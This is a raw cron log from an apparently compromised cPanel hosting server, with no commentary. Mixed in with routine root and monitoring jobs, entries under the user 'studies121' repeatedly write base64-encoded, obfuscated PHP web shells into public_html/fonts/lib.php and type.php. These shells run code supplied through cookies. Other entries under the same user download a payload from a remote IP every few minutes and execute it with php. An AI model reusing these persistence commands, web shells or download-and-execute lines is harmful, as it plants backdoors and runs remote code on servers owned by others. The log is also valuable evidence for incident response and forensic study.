Aug 30 23:34:02 ip-184-168-122-23 CROND[25641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:35:01 ip-184-168-122-23 CROND[25736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:35:01 ip-184-168-122-23 CROND[25738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:35:01 ip-184-168-122-23 CROND[25739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:35:01 ip-184-168-122-23 CROND[25743]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 23:35:01 ip-184-168-122-23 CROND[25744]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 23:35:01 ip-184-168-122-23 CROND[25747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:35:01 ip-184-168-122-23 CROND[25748]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:35:01 ip-184-168-122-23 CROND[25749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:36:01 ip-184-168-122-23 CROND[25840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:36:01 ip-184-168-122-23 CROND[25844]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:36:01 ip-184-168-122-23 CROND[25845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:36:01 ip-184-168-122-23 CROND[25842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:36:01 ip-184-168-122-23 CROND[25843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:37:01 ip-184-168-122-23 CROND[26027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:37:01 ip-184-168-122-23 CROND[26031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:37:01 ip-184-168-122-23 CROND[26029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:37:01 ip-184-168-122-23 CROND[26030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:38:01 ip-184-168-122-23 CROND[26116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:38:01 ip-184-168-122-23 CROND[26119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:38:01 ip-184-168-122-23 CROND[26120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:38:01 ip-184-168-122-23 CROND[26118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:38:01 ip-184-168-122-23 CROND[26121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:39:01 ip-184-168-122-23 CROND[26214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:39:01 ip-184-168-122-23 CROND[26216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:39:01 ip-184-168-122-23 CROND[26219]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 23:39:01 ip-184-168-122-23 CROND[26218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:39:01 ip-184-168-122-23 CROND[26217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:40:01 ip-184-168-122-23 CROND[26323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:40:01 ip-184-168-122-23 CROND[26325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:40:01 ip-184-168-122-23 CROND[26327]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 23:40:01 ip-184-168-122-23 CROND[26330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:40:01 ip-184-168-122-23 CROND[26328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:40:01 ip-184-168-122-23 CROND[26329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:40:01 ip-184-168-122-23 CROND[26334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:40:01 ip-184-168-122-23 CROND[26333]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:41:01 ip-184-168-122-23 CROND[26422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:41:01 ip-184-168-122-23 CROND[26426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:41:01 ip-184-168-122-23 CROND[26424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:41:01 ip-184-168-122-23 CROND[26425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:42:01 ip-184-168-122-23 CROND[26507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:42:01 ip-184-168-122-23 CROND[26509]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:42:01 ip-184-168-122-23 CROND[26511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:42:01 ip-184-168-122-23 CROND[26510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:42:01 ip-184-168-122-23 CROND[26512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:43:01 ip-184-168-122-23 CROND[26597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:43:01 ip-184-168-122-23 CROND[26598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:43:01 ip-184-168-122-23 CROND[26599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:43:01 ip-184-168-122-23 CROND[26601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:44:01 ip-184-168-122-23 CROND[26786]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:44:01 ip-184-168-122-23 CROND[26788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:44:01 ip-184-168-122-23 CROND[26790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:44:01 ip-184-168-122-23 CROND[26789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:44:01 ip-184-168-122-23 CROND[26792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:45:01 ip-184-168-122-23 CROND[26909]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:45:01 ip-184-168-122-23 CROND[26914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:45:01 ip-184-168-122-23 CROND[26911]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:45:01 ip-184-168-122-23 CROND[26915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:45:01 ip-184-168-122-23 CROND[26916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:45:01 ip-184-168-122-23 CROND[26917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:46:01 ip-184-168-122-23 CROND[27070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:46:01 ip-184-168-122-23 CROND[27071]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:46:01 ip-184-168-122-23 CROND[27074]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 23:46:01 ip-184-168-122-23 CROND[27078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:46:01 ip-184-168-122-23 CROND[27075]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
